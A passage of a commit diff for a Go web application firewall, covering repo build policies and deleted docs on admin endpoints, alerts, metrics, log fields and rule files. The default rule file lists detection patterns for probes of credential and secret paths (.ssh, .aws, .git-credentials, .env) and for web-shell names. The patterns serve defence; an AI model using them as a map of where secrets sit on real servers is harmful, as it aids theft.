workflow limited to `main` by a `branches` list under `on: push` cannot be
checked by review: to try a change to it, add the feature branch to that list
and push, then remove the branch from the list again before merging. Keep any
job in it that publishes behind `if: github.ref_name == 'main'`, so the run
from the feature branch publishes nothing.
from a run of its own gates rather than from a cache entry.
- Use platform-standard formatters: `black` for Python, `prettier` for
JS/CSS/Markdown/HTML, `go fmt` for Go. Always use default configuration with
@@ -344,19 +286,17 @@ style conventions are in separate documents:
```
`-count=1` is required on both invocations: it defeats Go's test _result_
cache, so neither run can report a stored pass in place of running the
tests. It leaves the build cache alone, so it costs the runtime of the suite
and no recompilation.
cache, so the target cannot report a pass it did not earn, and the rerun
reproduces a failure instead of replaying it. It leaves the build cache
alone, so it costs the runtime of the suite and no recompilation.
That cache is Go's own, separate from Docker's layer cache. Go stores a
passing result in its cache directory (`GOCACHE`), and when the same tests
run again on unchanged code it prints that result, marked `(cached)`,
without running them. That matters on a developer's machine, where this
target runs and the directory lasts from one run to the next. The `test`
phase of the `Dockerfile` needs no `-count=1`: its base image holds no
result for this repo's tests and nothing before its `go test` step runs a
test, so there is nothing to replay. `--no-cache` (above) is what makes that
step run on an unchanged tree.
Note that this is a second, independent cache, stacked below the Docker
layer cache that [issue #26](https://git.eeqj.de/sneak/prompts/issues/26)
addresses. `CHECK_EPOCH` guarantees the `RUN make test` _step_ re-executes;
it does not guarantee `go test` inside that step does any work, because the
`GOCACHE` baked into earlier image layers survives into the re-executed
step. They are two separate defects requiring two separate fixes, and a fix
for one must not be recorded as covering the other.
Python example:
@@ -400,7 +340,7 @@ style conventions are in separate documents:
— which is more dangerous than a short file with no secret patterns at all,
because it reads as solved and stops anyone looking. Give every
depth-independent pattern the `**/` prefix and leave only genuinely
root-anchored entries unprefixed: `.claude`, and the repo's own host-built
root-anchored entries unprefixed: `.git`, and the repo's own host-built
binary, written `/myapp` and never `**/myapp`, which would also match
`cmd/myapp/` and delete the package directory from the context. Matching is
case-sensitive, and an ALL-CAPS twin per pattern still misses `Server.Key`, so
@@ -425,13 +365,12 @@ style conventions are in separate documents:
directory, so a repo running agents in subdirectories still ships
`services/api/.claude/` and must add its own anchored entry there.
- **A plain `docker build .` of a clone stamps the version that
`git describe --tags --always` gives**, derived from the `.git` in the build
context as the canonical `Dockerfile` above shows. Without its failure check,
a missing `git` or an unreadable checkout would leave `-X main.Version=` empty
and the build would still exit 0. `script/docker` and `script/cibuild` pass
the version they compute on the host; it takes precedence. They do this
byte-identically across repos:
- **Excluding `.git` means `git describe` cannot run inside any build stage, and
it fails quietly there.** In a build stage there is no repository, so
`git describe` writes nothing to stdout, `-X main.Version=` comes out empty,
the binary reports no version at all, and the build still exits 0. Compute the
version on the host and thread it in as a build arg. `script/docker` and
`script/cibuild` do this, byte-identically across repos:
```sh
# Own line: a failing command substitution inside an argument does not
@@ -448,7 +387,7 @@ style conventions are in separate documents:
fallback is applied — a live check that fires on a build from an export with
no `.git` and on a repository with no commits yet. Do not fold it into the
substitution as `|| echo unknown`, which makes the guard unreachable. The
Dockerfile's side is `ARG VERSION` in the stage that compiles, declared
Dockerfile's side is `ARG VERSION=dev` in the stage that compiles, declared
there because `ARG` is stage-scoped; passing `VERSION` to a repo whose
Dockerfile declares no such `ARG` is ignored and costs nothing, which is why
the scripts stay byte-identical. One consequence for CI: the standard
@@ -487,18 +426,12 @@ style conventions are in separate documents:
`test-support` depguard rule, where a repo names its own test-support packages
by full import path. A repo adds entries there and changes nothing else, and a
re-vendor carries its entries forward. The canonical golangci-lint version is
v2.14.0 (released 2026-09-24), pinned as the digest of the lint phase's base
v2.12.2 (released 2026-05-06), pinned as the digest of the lint phase's base
image
(`golangci/golangci-lint@sha256:ad862ba6b3798cbe0fd9fd7408d498fd74fbd2623a92406b2fd3898faf0bf98f`,
which reports `2.14.0 built with go1.27.0 from 114493f9`). A module's `go`
directive must not name a newer Go minor version than the one golangci-lint
was built with, or golangci-lint refuses to lint it: this release lints
`go 1.27.1` but not `go 1.28`. That digest is the only pin, since no repo
installs golangci-lint on the host. A repo sets the lint phase digest to the
one named here and re-vendors `.golangci.yml` in the same commit, whichever of
the two prompted the change: the canonical copy can name linters that an older
golangci-lint rejects, and a newer golangci-lint can add linters that
`default: all` switches on until the canonical copy disables them.
(`golangci/golangci-lint@sha256:5cceeef04e53efe1470638d4b4b4f5ceefd574955ab3941b2d9a68a8c9ad5240`,
which reports `2.12.2 built with go1.26.2 from c0d3ddc9`). That digest is the
only pin, since no repo installs golangci-lint on the host: bumping the
version means changing it and nothing else.
- **`script/bootstrap` installs a pinned tool by comparing versions, never by
testing presence.** An `if ! command -v <tool>; then install; fi` guard tests
@@ -522,11 +455,6 @@ style conventions are in separate documents:
Keep it POSIX sh: no arrays, no `[[`, no `grep -P`.
A Go tool a repo needs on the host is installed with `go install` pinned to
a commit hash (`go install <package>@<commit hash>`). It is never tracked as
a `go.mod` tool dependency or through a `tools.go` file, either of which
pulls the tool's own dependencies into the repo's `go.mod` and `go.sum`.
- When pinning images or packages by hash, add a comment above the reference
with the version and date (YYYY-MM-DD).
@@ -639,10 +567,10 @@ style conventions are in separate documents:
settings.
- Avoid putting files in the repo root unless necessary. Root should contain
only project-level config files (`README.md`, `AGENTS.md`, `Makefile`,
`Dockerfile`, `LICENSE`, `.gitignore`, `.editorconfig`, `REPO_POLICIES.md`,
and language-specific config). Everything else goes in a subdirectory.
Canonical subdirectory names:
only project-level config files (`README.md`, `Makefile`, `Dockerfile`,
`LICENSE`, `.gitignore`, `.editorconfig`, `REPO_POLICIES.md`, and
language-specific config). Everything else goes in a subdirectory. Canonical
subdirectory names:
- `bin/` — executable scripts and tools
- `cmd/` — Go command entrypoints; thin only: one `main.go` per binary whose
body is a single call into `internal/` or `pkg/`, no project logic in
@@ -673,7 +601,3 @@ style conventions are in separate documents:
- Go: `go.mod`, `go.sum`, `.golangci.yml`
- JS: `package.json`, `yarn.lock`, `.prettierrc`, `.prettierignore`
- Python: `pyproject.toml`
- Guidance for coding agents lives in one `AGENTS.md` at the repository root. It
is never committed under a file or directory named after one agent tool, such
as `CLAUDE.md` or `.claude/`, and never split into separate memory files.
SPEC.md
+1548 -1820
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cmd/smallwebwaf/main.go
+18
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@@ -0,0 +1,18 @@
// Command smallwebwaf is a web application firewall for one app: it runs
// between traefik and the app, and passes requests through within its
// limits. Everything it does is in internal/smallwebwaf.
package main
import (
"os"
"sneak.berlin/go/smallwebwaf/internal/smallwebwaf"
)
// Version is the version of the binary, set when it is built with
// -ldflags "-X main.Version=...".
var Version = "dev" //nolint:gochecknoglobals // the linker sets it
func main() {
os.Exit(smallwebwaf.Main(Version))
}
cmd/sww/main.go
-20
View File
@@ -1,20 +0,0 @@
// Command sww is a web application firewall. `sww rproxy` is the reverse
// proxy in front of one app, which asks discriminator about each request.
// `sww discriminator` decides, for many sites, and keeps what lasts. `sww
// healthcheck` is the container's health check. Everything it does is in
// internal/sww.
package main
import (
"os"
"sneak.berlin/go/smallwebwaf/internal/sww"
)
// Version is the version of the binary, set when it is built with
// -ldflags "-X main.Version=...".
var Version = "dev" //nolint:gochecknoglobals // the linker sets it
func main() {
os.Exit(sww.Main(Version))
}
deploy/example-app/Dockerfile
+2 -2
View File
@@ -6,8 +6,8 @@
# A real app names the smallwebwaf image by digest. This one takes the
# image script/example-app has just built, or else the one `make docker`
# builds.
ARG SWW_IMAGE=smallwebwaf
FROM ${SWW_IMAGE}
ARG SMALLWEBWAF_IMAGE=smallwebwaf
FROM ${SMALLWEBWAF_IMAGE}
# Packages the app needs, from the nixpkgs in the image.
RUN nix-env -iA nixpkgs.busybox
docs/admin-endpoints.md
-60
View File
@@ -1,60 +0,0 @@
# Admin endpoints
The endpoints under `/_sww/`, what each takes and what each answers.
`sww discriminator` answers them at its own address, on the private network.
"Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work.
- `GET /_sww/healthz`: `200` and `ok`, to anyone.
- `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see
[`metrics.md`](metrics.md)).
- `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it.
Needs `SWW_ADMIN_TOKEN`, as do the three below.
- `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`,
`duration` and, if you like, `reason`. `netblock` is a netblock such as
`203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
(`SWW_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such
as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is
wrong:
- one that is not such an object, or has another field;
- one longer than 4 KiB;
- one that names an IPv4-mapped netblock, or an address with a zone.
- `DELETE /_sww/bans/<client>`: lifts every active ban covering the address
`<client>`. It answers `404` when none is active.
- `GET /_sww/clients/<ip>`: what `discriminator` knows of the client. Under
`client`, its counters and history as `clients.json` holds them, or `null`
when `clients.json` does not hold it. Under `bans`, every ban covering the
address, with its notes.
- `POST /_sww/report`: takes `rproxy`'s report, without a token. It answers
`204`, or `400` to a body that is no report (see "The report" in
[`SPEC.md`](../SPEC.md)).
No check runs on these requests. A missing or wrong token is answered `401`. An
endpoint whose token is unset answers `404`, as does any other path.
`sww rproxy` answers only the health check of these, at its own address. It asks
`discriminator` about any other request under `/_sww/`. One that passes the
checks is answered `404`, so that the app never sees that prefix (see "`rproxy`"
in [`SPEC.md`](../SPEC.md)).
## Examples
With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `discriminator` reached
as `discriminator:8080` on its network:
```sh
# Every ban.
curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/bans
# Ban 203.0.113.0/24 for seven days.
curl -H "Authorization: Bearer $TOKEN" \
--json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \
http://discriminator:8080/_sww/bans
# Lift the bans on 203.0.113.9.
curl -H "Authorization: Bearer $TOKEN" -X DELETE \
http://discriminator:8080/_sww/bans/203.0.113.9
# What discriminator knows of 203.0.113.9.
curl -H "Authorization: Bearer $TOKEN" \
http://discriminator:8080/_sww/clients/203.0.113.9
```
docs/alerts.md
-137
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@@ -1,137 +0,0 @@
# Alerts
The alert events, the JSON object the webhook gets, and the messages Slack and
ntfy get. "Alerting" in [`SPEC.md`](../SPEC.md) says when an alert is sent, held
back or dropped.
## Events
- `ban`: a ban `discriminator` made.
- `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
a request.
- `core_rule_set_match`: the Core Rule Set scored a request at or over the
threshold. The request was refused unless the alert's `detail` gives `mode`:
`detect` or `observe`.
- `anomaly`: a count over an anomaly threshold.
- `reputation_hit`: a request from a client on a blocklist, the CrowdSec
decision list or a DNS blocklist, or with an AbuseIPDB score that is a hit.
One alert per source.
- `source_failure`: one of:
- GeoJS failing;
- a list that cannot be fetched;
- a DNS blocklist or AbuseIPDB failing or refusing a query;
- the day's AbuseIPDB checks used up.
- `file_error`: one of:
- a rule file or state file edit with an error;
- a state file that cannot be written;
- a replacement lookup database that cannot be read.
- `summary`: the hourly summary of alerts held back.
## The JSON object
This is the alert for a ban for a broken rate limit, shown indented; it is sent
on one line:
```json
{
"instance": "fsn1/discriminator",
"time": "2026-10-06T12:00:50.123461Z",
"event": "ban",
"host": "app.example",
"client": "203.0.113.9",
"netblock": "203.0.113.9/32",
"asn": "",
"as_name": "",
"country": "",
"reason": "requests per minute over the limit of 500",
"detail": {
"ban_expires": "2026-10-06T13:00:50.123Z",
"cause": "limit",
"notes": {
"asn": "",
"as_name": "",
"country": "",
"kind": "requests",
"limit": 500,
"window": "minute",
"count": 501,
"request": {
"time": "2026-10-06T12:00:50.123456789Z",
"method": "GET",
"host": "app.example",
"path": "/owner/repo/commits/branch/main?page=501",
"status": 403,
"user_agent": "scraper/1.0"
},
"requests": 501,
"refused": 0,
"earlier_bans": {
"limit": 0,
"attack": 0,
"admin": 0,
"crowdsec": 0
}
}
},
"suppressed_repeats": 0
}
```
- `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
one of the events above.
- `host`: the site of the request that raised the alert, since one
`discriminator` serves many sites. It is left out of `source_failure`,
`file_error` and `summary`.
- `client`: the address whose request raised the alert. Empty for
`source_failure`, `file_error` and `summary`.
- `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise
one of:
- the ban's netblock;
- the netblock an anomaly counted, empty in the `asn` and `total` scopes;
- for the other events, the client as rate limiting counts it: an IPv4
address as a /32, or an IPv6 group.
- `asn`, `as_name` and `country`: the client's, as known when the alert was
raised. They are empty when GeoJS had not answered yet.
- `reason`: a short sentence, such as
`requests per minute over the limit of 500` or `listed by a blocklist`.
- `detail`: what is particular to the event:
- for a ban, its `cause`, `ban_expires` and `notes` (the notes are listed
under `bans.json` in [`state-files.md`](state-files.md));
- for an anomaly, the `scope`, `window`, `kind`, `count` and `threshold`;
- for a reputation hit, the `source` and, for AbuseIPDB, the `score`;
- for a Core Rule Set match, the `rule_ids`, `score`, `method` and `path`;
- for a source failure, the `source` and `error`;
- for a file error, the `file` and `error`;
- for a summary, the `hour` it covers, the `count` of alerts held back, and
that count by event in `events`;
- `mode`, when the request was not refused: `detect` or `observe`.
- `suppressed_repeats`: how many repeats the cooldown held back before this
alert.
## Slack and ntfy
Slack and ntfy get a message with a title and a text. The title is the instance
and the event, such as `fsn1/discriminator: ban`. The text is the `reason`, then
one line for each of these that the alert has:
- the host, the client, the netblock and the country;
- the file, the source, the error and the mode from `detail`;
- the suppressed repeats, if any.
Slack gets the title in bold and the text below it, with `&`, `<` and `>`
escaped. ntfy gets the text as the message, with these headers:
- `Title`: the title;
- `Authorization`: the token, as `Bearer <token>`, while `SWW_ALERT_NTFY_TOKEN`
is set;
- `Priority` and `Tags`: by event, as listed below.
The priority and tag by event:
- `ban`: priority `default`, tag `no_entry`.
- `permanent_ban`: priority `high`, tag `no_entry`.
- `core_rule_set_match`: priority `default`, tag `shield`.
- `anomaly`: priority `high`, tag `chart_with_upwards_trend`.
- `reputation_hit`: priority `low`, tag `label`.
- `source_failure` and `file_error`: priority `high`, tag `warning`.
- `summary`: priority `default`, tag `bar_chart`.
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# What the image holds
The contents of the `smallwebwaf` image, and how each part is pinned. The image
runs `rproxy` by default, or `discriminator` with `SWW_COMMAND=discriminator`.
"Deployment" in [`SPEC.md`](../SPEC.md) says why each part is there and why it
is pinned that way.
## Contents
- Ubuntu 26.04 LTS, pinned by digest.
- `ca-certificates`, `nix-bin` and `runit` from Ubuntu's archive.
- Nix, with nixpkgs `nixos-26.05.11045.774debe7a0d1` set up for root as
`nixpkgs`. No Nix daemon; `build-users-group =` in `/etc/nix/nix.conf`. Root's
Nix profile, `/nix/var/nix/profiles/default/bin`, last on the `PATH`.
Unpacked, nixpkgs takes about 500 MiB.
- `runsvinit` as the entrypoint, built from `github.com/peterbourgon/runsvinit`
at a fixed commit hash.
- The `sww` binary, and the user `sww` (uid and gid 65532).
- The service directory `/etc/service/sww`, with the `run` script
`share/sww.run`.
- `/var/lib/sww` for `discriminator`'s state files, and `/etc/sww/rules.d` with
the default rule file `share/rules.d/00-default.rules`.
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
## Pins
- Ubuntu's packages are not pinned: they come from the live archive, whose
packages change with every update.
- nixpkgs: the release file `nixexprs.tar.xz` of
`nixos-26.05.11045.774debe7a0d1` on `releases.nixos.org`, named with its
SHA-256 hash.
- `runsvinit`: the archived repository, unchanged since 2015, at its last commit
(`b4b2c78`, eight commits after `v2.0.0`), by commit hash, with a `go.mod` the
build writes.
- The Go image that builds `sww`: by digest.
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# The metrics
What `GET /_sww/metrics` answers with, at `discriminator`'s own address.
"Metrics endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus
keeps the `instance` label as `exported_instance` unless the scrape sets
`honor_labels: true`. `rproxy` has no metrics.
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
body bytes, never headers, whatever `SWW_BYTES_COUNT` says.
## Traffic
- `sww_requests_total`, `sww_request_bytes_total` and
`sww_response_bytes_total`, by `status_class` such as `2xx` and by `action`;
- `sww_request_duration_seconds` and `sww_upstream_duration_seconds`, as
histograms;
- `sww_requests_in_flight`: the questions and requests to its own endpoints that
`discriminator` is handling.
## Limits and bans
- `sww_rate_limit_hits_total`, by `window` and by `kind` (`requests`, `bytes` or
`refusals`);
- `sww_offences_total`, by `kind`;
- `sww_bans_made_total`, by `cause`;
- `sww_active_bans` and `sww_permanent_bans`.
## Attack detection
- `sww_rule_matches_total`, by `rule_id` and `action`, and `sww_rules_loaded`;
- `sww_core_rule_set_matches_total`, by `mode` and `rule_id`, for the rules that
fired.
## Countries and AS numbers
For the `SWW_METRICS_TOP_N` busiest of each, the rest as `other`:
- `sww_country_requests_total`, `sww_country_request_bytes_total`,
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
`country`;
- `sww_asn_requests_total`, `sww_asn_request_bytes_total` and
`sww_asn_response_bytes_total`, by `asn`.
## Lookups
- `sww_geojs_requests_total` and `sww_geojs_failures_total`;
- `sww_requests_without_geojs_answer_total`: the requests that needed an answer
and went on without it;
- with the file source, `sww_lookup_database_last_read_timestamp_seconds` and
`sww_lookup_database_read_failures_total`.
## Reputation sources
By `source`: each list's URL, each zone, and `abuseipdb`:
- `sww_reputation_hits_total`, `sww_reputation_queries_total` and
`sww_reputation_failures_total`;
- `sww_reputation_last_fetch_timestamp_seconds`, for a list;
- `sww_reputation_daily_budget_remaining`, for AbuseIPDB.
## State files
By `file`:
- `sww_state_file_writes_total`, `sww_state_file_write_failures_total`,
`sww_state_file_last_write_timestamp_seconds` and `sww_state_file_size_bytes`;
- `sww_state_file_edits_taken_in_total` and
`sww_state_file_edits_set_aside_total`;
- `sww_tracked_clients`: the clients in the table.
## Remote log, alerts and the process
- while a syslog server is set, `sww_remote_log_lines_sent_total`,
`sww_remote_log_lines_dropped_total` and `sww_remote_log_lines_waiting`;
- by `destination`, `sww_alerts_sent_total`, `sww_alert_send_failures_total`,
`sww_alerts_suppressed_total` and `sww_alerts_dropped_total`;
- Go's own `go_` metrics and the process's `process_` metrics.
## When a request is counted
`discriminator` counts a denied request at its decision, and a request to its
own endpoints when it is answered. It counts an allowed request when its report
comes, with the status, bytes and times the report gives. These are not counted:
- a report itself;
- an allowed request whose report never comes;
- a question refused with `400`;
- a question whose body stopped arriving.
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# The request log's fields
The fields of the JSON objects `rproxy` and `discriminator` write about each
request. "Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line
is written and how the log is sent to a syslog server. A field that does not
apply to a request is left out.
## `discriminator`'s lines
`sww discriminator` writes two lines for each question it answers, joined by
`request_id`. The field `discriminator_line` says which of the two a line is:
- `decision`: the line it writes once it has answered the question;
- `report`: the line it writes when `rproxy`'s report comes, with everything
known. The repetition is intended.
A request to its own endpoints writes one line, without `discriminator_line`. A
report writes no line but the `report` line of the request it names.
These questions write no line:
- a question refused with `400` (see "The question" under "`discriminator`" in
[`SPEC.md`](../SPEC.md));
- a question whose body stopped arriving, which gets no answer.
A `report` line:
```
{"type":"request","discriminator_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/discriminator","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"core_rule_set_score":0,"duration_total_ms":3.217,"duration_checks_ms":0.041,"duration_core_rule_set_ms":0.029,"duration_upstream_total_ms":3.104}
```
### Every line
Every one of these lines has:
- `type`: `request` (the process's own messages have `process`);
- the standard web log fields;
- `request_id`, `peer_ip` and `client_group`;
- `asn`, `as_name` and `country`;
- `action` and `duration_total_ms`.
### Standard web log fields
- `time`: when `discriminator` had read the question's body, RFC 3339 with
milliseconds, in UTC. The `report` line gives the same time as the `decision`
line.
- `instance`: `SWW_INSTANCE_NAME`.
- `client_ip`: the visitor's address, as `rproxy` worked it out.
- `method`, `path` and `query`: the visitor's request.
- `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
it.
- `host`: the site the visitor asked for.
- `protocol`: the question's own, `HTTP/1.1`.
- `status`:
- on the `decision` line, what `discriminator` answered: `200` for `allow`,
the status of `deny`, or `0` for `close`, as the visitor is then sent
nothing;
- on the `report` line, what the visitor got, `0` if nothing.
- `request_bytes`:
- on the `decision` line, how much of the question's body the Core Rule Set
read;
- on the `report` line, the bytes of the visitor's body that `rproxy` read,
with what a WebSocket carried from the visitor.
- `response_bytes`:
- on the `decision` line, the body of `discriminator`'s answer;
- on the `report` line, the bytes of the answer's body, with what a
WebSocket carried from the app.
- `referer` and `user_agent`.
### Request detail
- `request_id`: the id `rproxy` made for the request when it arrived.
- `peer_ip`: the address of `rproxy`'s TCP peer, normally traefik.
- `forwarded_for`: the `X-Forwarded-For` header the visitor's request came with.
- `client_group`: the client as rate limiting counts it, an IPv4 address as a
/32 or an IPv6 group.
- `asn`, `as_name` and `country`: the client's, as looked up. Each is empty
when:
- lookups are off;
- the client is not looked up;
- the source cannot place the client;
- GeoJS had not answered by the time `discriminator` answered.
- `content_type`: the visitor's `Content-Type`.
- `content_length`: the body length the visitor announced.
- `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in
lower case.
- `has_authorization` and `has_cookie`: true when the request had those headers.
Their values are never logged.
### Response detail
- `response_content_type`: the type of `discriminator`'s own answer.
- `aborted`: true when `rproxy` went away before the answer.
### Decision
- `action`: what was done:
- `forward`: answered `allow`, so that `rproxy` passes it to the app;
- `client_denied`: refused for `SWW_DENY_NETS`, for a reputation source with
the action `deny`, or for a tag in `SWW_TAG_DENY`;
- `temporarily_banned`: refused under a ban that runs out, or for a `ban`
rule, a trap path or a CrowdSec decision that made such a ban;
- `permanently_banned`: refused under a ban that never runs out, including a
ban this request made or made permanent;
- `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and
`blocked_by_core_rule_set`: refused by that check;
- `request_header_too_large`: over a header limit;
- `own_endpoint`: answered at one of `discriminator`'s own endpoints, or
`404` for a path under `/_sww/`.
- `would_action`: in `observe` mode, what `enforce` mode would have done with a
request it would have refused. `action` then names what was done, normally
`forward`.
- `heuristic`: the heuristic that refused the request, in `observe` mode too. It
is left out when none did.
- `heuristic_figures`: an object of the figures that heuristic acted on. Each
heuristic and its figures:
- `deny_nets`: `netblock`, the entry of `SWW_DENY_NETS` the client is in;
- `active_ban`: `netblock`, the ban's netblock, and `ban_expires`;
- `countries`: `country`, and `setting`, the country list that refused it;
- `tag_deny`: `tag`, the tag of `SWW_TAG_DENY` the request carries;
- `blocklists`: `lists`, the blocklist URLs that list the client;
- `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
decision ends;
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
masked;
- `abuseipdb`: `score`, and `min_score`, `SWW_ABUSEIPDB_MIN_SCORE`;
- `rate_limits`: `window`, `count` and `limit`;
- `trap_paths`: `path`, the trap path asked for;
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
- `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`;
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
- `after_answer_heuristic`: the heuristic that banned the client after
`discriminator` answered the request, in `observe` mode too: `refusal_limit`
or `byte_limits`.
- `after_answer_heuristic_figures`: an object of the figures that heuristic
acted on, as listed above.
`byte_limits` bans when the report comes, so only the `report` line names
it.
- `rate_limit_percent` and `rate_limit_percent_setting`: the client's percentage
of the rate limits and the setting that lowered it, when one did.
`bytes_limit_percent` and `bytes_limit_percent_setting` do the same for the
byte limits.
- `counts`: the client's totals as rate limiting counts them, this request
included. It is left out when rate limiting did not count the request. It
holds:
- `minute`, `hour` and `day`: requests;
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
`SWW_BYTES_COUNT` names, in that window.
A count can have a fraction (see "Counting method" in
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
response are added when its report comes. So on the `decision` line, the
three byte totals leave them out.
- `limit_hit`: the limit broken:
- `minute`, `hour` or `day` for a rate limit;
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
- `minute_refusals` for the error burst (`SWW_ERROR_BURST_THRESHOLD`).
When the bytes counted for a request and its response break a limit, the
request has been passed on whole, so its `action` stays `forward`. Only its
`report` line gives that limit.
- `rule_ids`: the rule file rules that matched, in order, up to the one that
refused.
- `core_rule_set_score` and `core_rule_set_rule_ids`: the Core Rule Set's score
and the rules that matched, for a request it inspected.
- `reputation`: the sources the client is on, in this order:
- blocklist URLs;
- the CrowdSec decision list's URL;
- DNS blocklist zones;
- `abuseipdb`.
- `tags`: the request's tags, sorted, left out when it has none. Each tag and
where it comes from is under "Request tags" in [`SPEC.md`](../SPEC.md).
- `routewatch_tags_missing`: why the request got no tags from routewatch,
present only while `SWW_ROUTEWATCH_URL` is set:
- `no_answer_yet`: routewatch has not answered about this client yet;
- `request_failed`: a query to routewatch failed within the last minute, and
the process log says why;
- `no_route`: routewatch knows no live route for the address.
- `offence`: `limit`, for a request that broke a limit.
- `ban_expires`: when the client's ban ends, for a request that made one or was
refused under one: a time, or `permanent`.
### Timings
All in milliseconds:
- `duration_total_ms`:
- on the `decision` line, from `discriminator` having read the question's
body to the line;
- on the `report` line, from `rproxy` having read the request's headers to
the end of the answer.
- `duration_checks_ms`: to the end of the checks;
- `duration_core_rule_set_ms`: the part of that the Core Rule Set took;
- `duration_upstream_total_ms`: on the `report` line of an allowed request, from
the hand-over to the app to the end of the answer.
### Requests to its own endpoints
The line of a request to `discriminator`'s own endpoints has these fields, with
these meanings where they differ:
- `client_ip` and `peer_ip`: the request's TCP peer.
- `request_id`: a new random one of 26 letters and digits.
- `scheme`: `http`.
- `time`: when the request's headers had been read.
- `request_bytes`: the bytes read of a ban to add, and otherwise `0`.
- `action`: `own_endpoint`.
- `duration_total_ms`: from the request's headers being read to the line.
## `rproxy`'s line
`sww rproxy` writes one short line for each request. `request_id` joins it to
`discriminator`'s two. It has these fields and no others:
- `type`: `request`.
- `time`: when the request arrived, RFC 3339 with milliseconds, in UTC.
- `request_id`: the id `rproxy` made for the request when it arrived.
- `client_ip`: the visitor's address.
- `host` and `method`.
- `path` and `query`: as the visitor sent them.
- `status`: what the visitor got, `0` if nothing.
- `request_bytes`: the bytes of the visitor's body that `rproxy` read, with what
a WebSocket carried from the visitor.
- `response_bytes`: the bytes of the answer's body, with what a WebSocket
carried from the app.
- `duration_request_ms`: milliseconds from the request's headers being read
until the app had been sent the whole request, or the answer started if that
was sooner. It includes the wait for `discriminator`.
- `duration_response_ms`: milliseconds from then until the end of the answer.
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
is `discriminator`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is
left out when:
- `discriminator` was not asked, as for the health check;
- the visitor went away while `discriminator` was being asked;
- `discriminator`'s answer had no valid `X-Sww-Disposition`;
- `rproxy` could not pass on `discriminator`'s answer, and answered `502`.
- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
`disposition`, and otherwise left out.
For example:
```
{"type":"request","time":"2026-10-03T12:00:00.123Z","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","client_ip":"203.0.113.9","host":"app.example","method":"GET","path":"/","query":"","status":200,"request_bytes":0,"response_bytes":5120,"duration_request_ms":1.204,"duration_response_ms":3.104,"disposition":"allow"}
```
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# Rule files
The format of a rule file, and the default file the image ships. "Rule files" in
[`SPEC.md`](../SPEC.md) says how the files are read, watched and mounted, and
what each action leads to.
## The format
A rule is a line of four fields separated by spaces or tabs: an id, a target, an
action and a regex. The regex runs to the end of the line. Blank lines and lines
starting with `#` are ignored.
```
# id target action regex
env-file path ban (?i)^/\.env(\.[a-z]+)?$
scanner-agent user_agent ban (?i)\b(sqlmap|nikto|nuclei|wpscan)\b
```
- The id is letters, digits, `-` and `_`, unique across all files. The log line,
the metrics, the alerts and a ban's notes name the rule by it.
- The target is what the regex is matched against:
- `path`: the path without the query;
- `uri`: the path and the query together;
- `query`: the query as sent;
- `method`, `host`, `user_agent` and `referer`;
- `header:<Name>`: any one request header but `Host` and
`Transfer-Encoding`.
- The action is `log`, `block` or `ban`.
- The regex is in Go's syntax, RE2. It matches anywhere in the target unless
anchored with `^` and `$`. `(?i)` at its front makes it ignore case.
## The default file
The image ships one file, `share/rules.d/00-default.rules`, installed as
`/etc/sww/rules.d/00-default.rules`:
```
# 00-default.rules: probes no real visitor sends, anchored at the site root
# id target action regex
env-file path ban (?i)^/\.env(\.[a-z]+)?$
vcs-dir path ban (?i)^/\.(git|svn|hg|bzr)(/|$)
secrets-dir path ban (?i)^/\.(aws|ssh|docker|kube)/
secret-file path ban (?i)^/\.(htpasswd|htaccess|npmrc|netrc|pgpass|git-credentials|bash_history|DS_Store)$
editor-dir path ban (?i)^/\.(vscode|idea)/
backup-file path ban (?i)^/[^/]+\.(php(\.[a-z0-9]+|~)|sql(\.[a-z0-9]+)?)$
log-file path ban (?i)^/(debug|error|access)\.log$
compose-file path ban (?i)^/(docker-)?compose\.ya?ml$
php-shell path ban (?i)^/(shell|c99|r57|wso|alfa)\.php$
